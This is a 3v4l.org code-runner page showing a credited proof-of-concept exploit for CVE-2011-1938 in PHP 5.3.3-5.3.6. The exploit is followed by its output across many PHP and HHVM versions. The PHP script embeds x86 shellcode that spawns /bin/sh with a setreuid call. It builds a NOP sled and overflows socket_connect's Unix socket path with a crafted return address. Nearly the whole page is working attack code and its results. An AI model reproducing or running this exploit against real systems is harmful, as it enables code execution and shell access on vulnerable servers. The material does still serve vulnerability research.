3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php // Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian // Affected Versions: 5.3.3-5.3.6 echo "[+] CVE-2011-1938"; echo "[+] there we go...\n"; define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3"); define('EVIL_SPACE_SIZE', 1024*1024*8); $SHELLCODE = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0". "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1". "\xcd\x80"; echo "[+] creating the sled.\n"; $CODE = str_repeat("\x90", EVIL_SPACE_SIZE); for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ; $i < strlen($SHELLCODE) ; $i++, $j++) { $CODE[$j] = $SHELLCODE[$i]; } $b = str_repeat("A", 196).EVIL_SPACE_ADDR; $var79 = socket_create(AF_UNIX, SOCK_STREAM, 1); echo "[+] popping shell, have fun (if you picked the right address...)\n"; $var85 = socket_connect($var79,$b); ?>
Output for 7.0.0 - 7.1.0
[+] CVE-2011-1938[+] there we go... [+] creating the sled. Fatal error: Uncaught Error: Call to undefined function socket_create() in /in/Aim44:22 Stack trace: #0 {main} thrown in /in/Aim44 on line 22
Process exited with code 255.
Output for hhvm-3.10.0 - 3.12.0
[+] CVE-2011-1938[+] there we go... [+] creating the sled. [+] popping shell, have fun (if you picked the right address...) Warning: unable to connect to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���:0 [2]: No such file or directory in /in/Aim44 on line 24
Output for 5.4.36 - 5.6.28
[+] CVE-2011-1938[+] there we go... [+] creating the sled. Fatal error: Call to undefined function socket_create() in /in/Aim44 on line 22
Process exited with code 255.
Output for 5.3.7 - 5.4.35
[+] CVE-2011-1938[+] there we go... [+] creating the sled. [+] popping shell, have fun (if you picked the right address...) Warning: socket_connect(): Path too long in /in/Aim44 on line 24
Output for 5.2.7 - 5.3.6
[+] CVE-2011-1938[+] there we go... [+] creating the sled. [+] popping shell, have fun (if you picked the right address...) Warning: socket_connect(): unable to connect [22]: Invalid argument in /in/Aim44 on line 24
Process exited with code 139.
Output for 5.0.0 - 5.2.6
[+] CVE-2011-1938[+] there we go... [+] creating the sled. [+] popping shell, have fun (if you picked the right address...) Warning: socket_connect(): unable to connect [2]: No such file or directory in /in/Aim44 on line 24
Output for 4.3.0 - 4.4.9
[+] CVE-2011-1938[+] there we go... [+] creating the sled. [+] popping shell, have fun (if you picked the right address...) Warning: socket_connect() unable to connect [2]: No such file or directory in /in/Aim44 on line 24